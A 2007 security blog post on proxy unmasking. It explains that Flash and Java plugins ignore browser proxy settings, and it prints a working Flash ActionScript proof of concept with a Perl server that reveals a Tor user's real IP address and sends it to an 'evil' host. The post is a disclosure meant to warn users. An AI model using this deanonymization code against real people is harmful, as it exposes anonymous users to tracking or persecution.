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Content

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26 09 2007

Cross-Browser Proxy Unmasking

Posted by: [Giorgio](#) in [IE](#), [Anonymity](#), [Flash](#), [Java](#), [Security](#), [NoScript](#)

It's really time to sleep in my timezone, but I just couldn't resist when I read latest RSnake's post about [Deanonymizing Tor and Detecting Proxies](#).

The basic concept, not terribly new by the way, is that browser proxy settings cannot be enforced on browser plugins, which happily ignore them in some circumstances, e.g. when establishing a direct TCP socket connection. So if you're using a proxy to hide your internet address (like [Tor](#) users do), embeddable objects like Java applets can betray you, revealing your real identity to advertisers spying on your habits or, worse, to the police of a repressive state.

This caveat has been preached even [on the Tor download page](#) itself, but nothing better than some [scary demos]() to convert the non believers.

RSnake's interesting [proof of concept](#) exploits JavaScript + LiveConnect , and it apparently works on Gecko-based browser with Java™ installed only. I didn't manage to make it work on Opera, even though it does support LiveConnect.

So I decided to defer bedtime a bit and I put together [my own quick deanonymizing proof of concept](#), which relies on the almost ubiquitous Macromedia® Flash® and works in any web browser, like Internet Explorer, supporting the Flash player (no need for JavaScript, either). The `XMLSocket`

ActionScript object is used to bypass browser's proxy setting and connect to a tiny server written in Perl, listening on port 9999 and echoing client's IP.

Here's the ActionScript code:

- `var socket = new XMLSocket();`
- `socket.onConnect = function(success) {`
- `socket.onXML = function(doc) {`
- `getURL("http://evil.hackademix.net/proxy_bypass?ip=" +`
- `doc.firstChild.firstChild.nodeValue);`
- `socket.close();`
- `}`
- `socket.send(new XML());`
- `}`
- `socket.connect("evil.hackademix.net", 9999);`

Download this code: pbp.as

And here's the Perl server:

- `#!/usr/bin/perl -w`
- `use strict;`
- `use IO::Socket;`
-
- `my $port = [shift](http://perldoc.perl.org/functions/shift.html) || 9999;`
- `my $sock = new IO::Socket::INET(`
- `LocalPort => $port,`
- `Proto => 'tcp',`
- `Listen => SOMAXCONN,`
- `Reuse => 1);`
- `$sock or [die](http://perldoc.perl.org/functions/die.html) "socket: $!";`
-
- `my($new_sock, $c_addr, $buf);`
- `while (($new_sock, $c_addr) = $sock->accept())`
- `{`
- `my ($client_port, $client_ip) = sockaddr_in($c_addr);`
- `[print](http://perldoc.perl.org/functions/print.html) $new_sock "<ip>" .`
- `inet_ntoa($client_ip) . "</ip>\000";`
- `$new_sock->close();`
- `}`

Download this code: pbp.pl

Today's lesson is: if you want to stay anonymous, you'd better **turn off Java, Flash and any other plugin!**

Update OCT-27

I've just learned that [some months ago](#) a guy called **yawnmoth** demonstrated an [Unmasking Java Applet](#). Just like [my Flash-based one](#), this works also in browsers, like IE, not supporting LiveConnect. The [lesson above](#) obviously applies, even stronger.

Demos

- [Cross-Browser Proxy Unmasking Demo in Flash](#)
- [Cross-Browser Proxy Unmasking Demo in Java](#)
- [Gecko-only Proxy Unmasking Demo in JavaScript+Java \(LiveConnect\)](#)

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